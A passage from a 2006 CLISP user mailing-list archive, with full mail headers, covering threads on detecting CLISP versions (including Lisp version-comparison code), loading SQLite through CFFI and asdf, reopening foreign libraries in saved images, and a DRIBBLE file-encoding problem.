http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 RISK_FREE BODY: Risk free. Suuurreeee.... Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] reliable way to detect a clisp version? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 15:40:58 -0000 Hoehle, Joerg-Cyril writes: > Hi, >=20 > I was just faced with the problem of detecting when in clisp > ext:socket-server provides a working :interface keyword argument. >=20 > Scanning ext:arglist is not the answer, as the first versions (2.37 and= 2.38) > suffered from the "create socket server twice" bug. > (socket-server port :interface "127.0.0.1") is unusable there. >=20 > (string>=3D (lisp-implementation-version) "2.39") does not appeal to me= as a good > test, because there might be clisp "2.101" in a distant future. >=20 > I wished (lisp-implementation-version) had been using the following for= mat: > "2006-12-07 (2.45) ..." > Then we could have applied STRING>=3D on the string until year 9999, an= d even make > people working with CVS happy (e.g. the 2.38 release might be buggy, bu= t 2006-02-22 > fixed the bug in CVS, even though it is still a "2.38"). It might be better to increment the version: 2.38.1, 2.38.2, etc. > Even that does not consider people using a specific (old) version and a= pplying > only selected patches, e.g. 2.27 with socket-server :interface added. >=20 > Of course, changing the format now would break all ad hoc code in the w= orld > that does some detection work. >=20 > Also, the documentation would need to specify which are the formats tha= t > LISP-IMPLEMENTATION-VERSION can take so users become able to write > reliable detection code -- when needed. >=20 > Suggestions? Overkill? Who cares? Here is what I've used so far: C/USER[579]> (clisp-version "2.41 (2006-10-13)") (2 41) C/USER[580]> (clisp-version "2.41.3 (2006-10-13)") (2 41 3) The semantics of versions are rather well understood. There's no risk of confusion between 2.1, 2.2 and 2.10, but perhaps from the laziest programmers; everybody knows that 2.10 =3D (2 10) > (2 2) =3D 2.2 > (2 1)= =3D 2.1 and the algorithm to compare versions, with as many dot as they may cont= ain. By the way, while the subject of versions is discussed, there's a little difficulty with the build process of clisp: users cannot increment a sub-version easily when compiling patched clisp, so bug reports cannot show easily that the current instance is a patched version. If the clisp versions was structured as: major . minor [ . revision [ . user-patch ] ] with user-patch being a string such as pjb-1, pjb-2, easily settable at compilation time (perhaps with a list of patch names that could be reported at the end of the lisp-implementation-version string), and revision being increased by clisp implementers when patching the release (=3D major.minor) in CVS, we could track and identify more easily the versions of clisp. I could say I'm currently using 2.41.0.pjb-1 (regexp utf-8 patch). ;; ---------------------------------------------------------------------- (defun clisp-version (&optional (version-string (LISP-IMPLEMENTATION-VERS= ION))) (loop :with r =3D '() :with start =3D 0 :do (multiple-value-bind (n p) (parse-integer version-string :start start :junk-allowed t) (push n r) (if (or (<=3D (length version-string) p) (char=3D #\space (aref version-string p))) (return-from clisp-version (nreverse r)) (setf start (1+ p)))))) (defun version=3D (a b) (equal (if (stringp a) (clisp-version a) a) (if (stringp b) (clisp-version b) b))) (defun version< (a b) (setf a (if (stringp a) (clisp-version a) a) b (if (stringp b) (clisp-version b) b)) (cond ((null a) (not (null b))) ((null b) nil) ((< (car a) (car b)) t) ((=3D (car a) (car b)) (version< (cdr a) (cdr b))) (t nil))) (defun version<=3D (a b) (setf a (if (stringp a) (clisp-version a) a) b (if (stringp b) (clisp-version b) b)) (or (version=3D a b) (version< a b))) (defun rt-version=3D (a b) (if (version=3D a b) '(:and) '(:or))) (defun rt-version< (a b) (if (version< a b) '(:and) '(:or))) (defun rt-version<=3D (a b) (if (version<=3D a b) '(:and) '(:or))) (export '(clisp-version version=3D version< version<=3D rt-version=3D rt-version< rt-version<=3D)) ;; ---------------------------------------------------------------------- #+#.(cl-user:rt-version<=3D "2.38" (cl-user:clisp-version)) (progn ...) --=20 __Pascal Bourguignon__ http://www.informatimago.com/ I need a new toy. Tail of black dog keeps good time. Pounce! Good dog! Good dog! From pjb@informatimago.com Thu Dec 07 07:49:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsLUn-0003wu-2g for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:49:13 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsLUj-0006LT-6m for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:49:13 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5DA4F586AC; Thu, 7 Dec 2006 16:49:04 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C23D0586AB; Thu, 7 Dec 2006 16:48:59 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 364E512AD86; Thu, 7 Dec 2006 16:48:58 +0100 (CET) From: Pascal Bourguignon Message-ID: <17784.14313.937059.199279@thalassa.informatimago.com> Date: Thu, 7 Dec 2006 16:48:57 +0100 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net, woudshoo@xs4all.nl Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 15:49:13 -0000 Hoehle, Joerg-Cyril writes: > Wim Oudshoorn wrote: > > (asdf:operate 'asdf:load-op 'clsql-sqlite3) > > FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in > library :DEFAULT >=20 > I haven't looked at current CLSQL. In version 3.5.4, I see that > sqlite-api supplies the :module "sqlite" argument, which is good. You > need to provide a mapping from that name to the shared object file > (assuming UNIX). >=20 > No, wait, you're using the CFFI backend, which does not know about > modules and libraries AFAIK. CFFI only looks up names in the current > process namespace AFAIK. >=20 > Maybe a simple (ffi::foreign-library "/usr/lib/sqlite.dylib") does the > trick for your current session?? > It should open the library and make all its names available (at least i= n > Linux). > You need to call that before loading clsql. Then try to figure out how > the other DB backends do that for CFFI on MacOS with CLISP. Well there are two ways to indicate to CFFI to load libraries. (cffi:define-foreign-library (:unix (:or ".so." ".so")) (t (:default ""))) (cffi:use-foreign-library ) http://common-lisp.net/project/cffi/manual/html_node/Tutorial_002dLoading= .html#Tutorial_002dLoading and also directly cffi:load-foreigh-library (which is used by cffi:use-foreign-library): http://common-lisp.net/project/cffi/manual/html_node/_002aforeign_002dlib= rary_002ddirectories_002a.html#_002aforeign_002dlibrary_002ddirectories_0= 02a (With some variant on MacOSX for frameworks). The question is whether the libraries are re-open automatically when we reload a saved image? --=20 __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live. From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 07 09:29:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsN3x-0007QJ-7w for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 09:29:38 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsN3v-00079h-E9 for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 09:29:36 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 7 Dec 2006 17:27:17 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Dec 2006 17:27:16 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 7 Dec 2006 17:27:14 +0100 Message-Id: In-Reply-To: <17784.14313.937059.199279@thalassa.informatimago.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Newbie question about compilation, asdf and ffi Thread-Index: AccaF4zX3D4QQpFrT/q4j4DXwMtzOAABCDCw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 07 Dec 2006 16:27:16.0672 (UTC) FILETIME=[8F2B1400:01C71A1C] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 17:29:38 -0000 Pascal Bourguignon asks: >The question is whether the libraries are re-open automatically when >we reload a saved image? CLISP has been doing that for ages. It's a convenience for users. I'm not really happy with it because it also means that you can be thrown into the debugger at startup of clisp when that library becomes unavailable, even if you don't care a pence about it for your current work! I'm not sure we ever switched to late-opening-when-called. That has other quirks: Suppose (validp #) -> NIL which means that foreign thing is dead. Now invoke that dead function, (funcall #): suddenly library is reopened, and the function is alive again?!? (validp #) -> T Do you find that understandable and conceptually undisputable? Zombies! Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Sat Dec 09 06:31:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gt3EX-00082E-JX for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 06:31:21 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gt3EV-0002rg-V0 for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 06:31:21 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Gt3EE-0008Sq-K1 for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 15:31:02 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 09 Dec 2006 15:31:02 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 09 Dec 2006 15:31:02 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Sat, 09 Dec 2006 15:30:42 +0100 Lines: 61 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:8YfKWYhOlKevUuew7UD1QCTnfCs= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Dec 2006 14:31:22 -0000 Everyone thanks for pointing me in the right direction. "Hoehle, Joerg-Cyril" writes: > You need to rethink some assumptions & lear more about compilation in > CL. Loading this file produces lots of side-effects which would affect > the compilation environment: packages are created etc. You should read > chapter ?3.2.2 of CLHS or perhaps some other, easier text (sorry, > nothing comes to mind). Thanks for the pointer. It is terse reading indeed, and it assumes some familarity with common lisp :-) Hm, but on the topic of manuals and documentation, does anyone know about an introductionary common lisp / clisp text that explains: - how to set up a packages system (like asdf) - how to use packages - how to make packages - explain namespaces (probably called something different in lisp) - how to do the compilation / make clisp images Because I noticed everytime I pick up a new language, it is quite easy to find documentation on: - how to install the compiler/interpreter - how to write hello world - documentation on the syntax and the default libraries But I always struggle with packages, namespaces, linking making libraries etc etc. Well enough complaining ;-) > You'd need EVAL-WHEN in order to create a file test-load that could > properly compile, so that the run-time and compilation environments > become similar. > > (EVAL-WHEN (load compile eval) (load/require "asdf")) would be a start, > or perhaps the more verbose and not equivalent > (EVAL-WHEN (:compile-toplevel etc.) #) This was the trick. I would have figured it out if I didn't keep misreading the error message :-( the error I got was *** - READ from #: there is no package with name "CLSQL" And somehow I thought asdf was looking for the package and couldn't find it. But actually the error was a few lines below indicating that the package was not defined yet when the first reference was compiled. Ah well, it always takes me some time to find my way in a complete new environment. Wim Oudshoorn. P.S.: What is the most appropriate mailing list to ask questions about common lisp that are not related to clisp itself? From lisp-clisp-list@m.gmane.org Sat Dec 09 06:37:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gt3Kf-00009R-2l for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 06:37:41 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gt3Ke-0004Oo-Gc for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 06:37:41 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Gt3KY-0001cD-Sd for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 15:37:34 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 09 Dec 2006 15:37:34 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 09 Dec 2006 15:37:34 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Sat, 09 Dec 2006 15:37:23 +0100 Lines: 22 Message-ID: References: <17784.14313.937059.199279@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:0kN7jElXgexhUPUGbEyW2RRNU/8= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Dec 2006 14:37:41 -0000 "Hoehle, Joerg-Cyril" writes: > Pascal Bourguignon asks: >>The question is whether the libraries are re-open automatically when >>we reload a saved image? > CLISP has been doing that for ages. As I mentioned, after ignoring the error FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT everything worked as expected. What I don't know if this error is triggered by code in clsql and a fix in clsql is in order or that something else is going on. However, I will follow the advice as posted here and try to make my own image without having preloaded the dynamic library. And I still a little overwhelmed with all the new concepts so I will let it rest until it really gets in my way. Thanks for all the help. Wim Oudshoorn. From pjb@informatimago.com Sat Dec 09 07:47:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gt4Q0-0006WZ-Hc for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 07:47:16 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gt4Py-0003ld-US for clisp-list@lists.sourceforge.net; Sat, 09 Dec 2006 07:47:16 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id DBB89585EF; Sat, 9 Dec 2006 16:46:55 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5EE82585E6; Sat, 9 Dec 2006 16:46:51 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EEB0612AD8A; Sat, 9 Dec 2006 16:46:50 +0100 (CET) From: Pascal Bourguignon Message-ID: <17786.55914.513275.580662@thalassa.informatimago.com> Date: Sat, 9 Dec 2006 16:46:50 +0100 To: Wim Oudshoorn In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Dec 2006 15:47:16 -0000 Wim Oudshoorn writes: > P.S.: What is the most appropriate mailing list to ask questions > about common lisp that are not related to clisp itself? That would be news:comp.lang.lisp usenet, not a mail-list... I don't think there's any usenet<->email gateway active on this newsgroup= . --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "This statement is false." In Lisp: (defun Q () (eq nil (Q))) From woudshoo@xs4all.nl Mon Dec 11 08:53:42 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GtoPO-0008Qg-NS for clisp-list@lists.sourceforge.net; Mon, 11 Dec 2006 08:53:42 -0800 Received: from smtp-vbr5.xs4all.nl ([194.109.24.25]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GtoPN-0000zu-6U for clisp-list@lists.sourceforge.net; Mon, 11 Dec 2006 08:53:42 -0800 Received: from nelly.oudshoorn.nl.xs4all.nl (stugw.infor.com [194.99.90.2]) by smtp-vbr5.xs4all.nl (8.13.8/8.13.8) with ESMTP id kBBGrSKT094327 for ; Mon, 11 Dec 2006 17:53:30 +0100 (CET) (envelope-from woudshoo@xs4all.nl) To: clisp-list@lists.sourceforge.net References: <17784.14313.937059.199279@thalassa.informatimago.com> <457D69DB.8080808@gnu.org> From: Wim Oudshoorn Date: Mon, 11 Dec 2006 17:53:28 +0100 In-Reply-To: <457D69DB.8080808@gnu.org> (Sam Steingold's message of "Mon, 11 Dec 2006 09:23:23 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: by XS4ALL Virus Scanner X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Dec 2006 16:53:42 -0000 Sam Steingold writes: > Wim Oudshoorn wrote: >> "Hoehle, Joerg-Cyril" writes: >> >>> Pascal Bourguignon asks: >>>> The question is whether the libraries are re-open automatically when >>>> we reload a saved image? >>> CLISP has been doing that for ages. >> As I mentioned, after ignoring the error >> FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in >> library :DEFAULT >> everything worked as expected. What I don't know if >> this error is triggered by code in clsql and a fix in clsql is >> in order or that something else is going on. > > i.e., SQL worked as expected, as if there was no error? > this implies a bug in CFFI (or whatever FFI wrapper SQL is using): > it should not try to refresh the foreign function object using the > :DEFAULT dll. yes. For every (new?) function that is called I got that error. If I choose 'continue' the results are as expected. I thought maybe the result was cached. But I used a command line argument to choose the database to connect and it still worked. Wim Oudshoorn. From pjb@informatimago.com Thu Dec 14 04:39:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GuprY-0002kK-Vh for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 04:39:01 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GuprX-0003pt-4C for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 04:39:00 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 9BCE9585E7; Thu, 14 Dec 2006 13:38:45 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 69809585E6; Thu, 14 Dec 2006 13:38:42 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C3B2312AD8A; Thu, 14 Dec 2006 13:38:41 +0100 (CET) From: Pascal Bourguignon Message-ID: <17793.17873.488140.507073@thalassa.informatimago.com> Date: Thu, 14 Dec 2006 13:38:41 +0100 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: <20061204170202.E527512AD83@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Dec 2006 12:39:01 -0000 Hoehle, Joerg-Cyril writes: > Pascal Bourguignon wrote: > >If I launch with clisp -norc -E utf-8 it works ok. > >C/USER[132]> (ext:convert-string-to-bytes "=C3=A7=C4=B1kartmak" charse= t:utf-8) > >*** - Character #\u0131 cannot be represented in the character set > > CHARSET:ISO-8859-15 > >SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" >=20 > Cannot reproduce. Please tell us how you launched CLISP (e.g. $LANG > and $LC_* settings and other relevant stuff). >=20 > The funny thing I observe is if I paste the turkish characters into > a Gnome terminal set to UTF-8 where CLISP runs with LANG=3DC > lispinit.mem, then the two non-ASCII characters disappear (and > (length "kartmak") is 7, so nothing invisible here). I have no idea > what process is causing this. Possibly readline? Ok, I've found the problem: I have a dribble open, and while the terminal is in utf-8, the files are in iso-8859-15 by default. *DEFAULT-FILE-ENCODING* # *TERMINAL-ENCODING* # Now, the problem is that DRIBBLE doesn't take an external-format argument, so I cannot portably specify the encoding for the dribble file... The above error message is signaled even before CONVERT-STRING-TO-BYTES is called, by the input processing of DRIBBLE.=20 Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Un chat errant se soulage dans le jardin d'hiver Shiki From sds@gnu.org Thu Dec 14 09:47:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Guufw-0005nq-UC for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 09:47:21 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Guufv-0004eq-EE for clisp-list@lists.sourceforge.net; Thu, 14 Dec 2006 09:47:20 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AE1F0130; Thu, 14 Dec 2006 12:47:11 -0500 Message-ID: <45818E1F.4070604@gnu.org> Date: Thu, 14 Dec 2006 12:47:11 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: pjb@informatimago.com References: <20061204170202.E527512AD83@thalassa.informatimago.com> <17793.17873.488140.507073@thalassa.informatimago.com> In-Reply-To: <17793.17873.488140.507073@thalassa.informatimago.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Dec 2006 17:47:21 -0000 Pascal Bourguignon wrote: > > I have a dribble open, and while the terminal is in utf-8, the files > are in iso-8859-15 by default. > > *DEFAULT-FILE-ENCODING* # > *TERMINAL-ENCODING* # > > > Now, the problem is that DRIBBLE doesn't take an external-format > argument, so I cannot portably specify the encoding for the dribble > file... > > The above error message is signaled even before > CONVERT-STRING-TO-BYTES is called, by the input processing of > DRIBBLE. > > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ? I am not sure this is a good idea. dribble file is a *file*, after all. How about a warning in DRIBBLE: (unless (or (eq *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*) (and 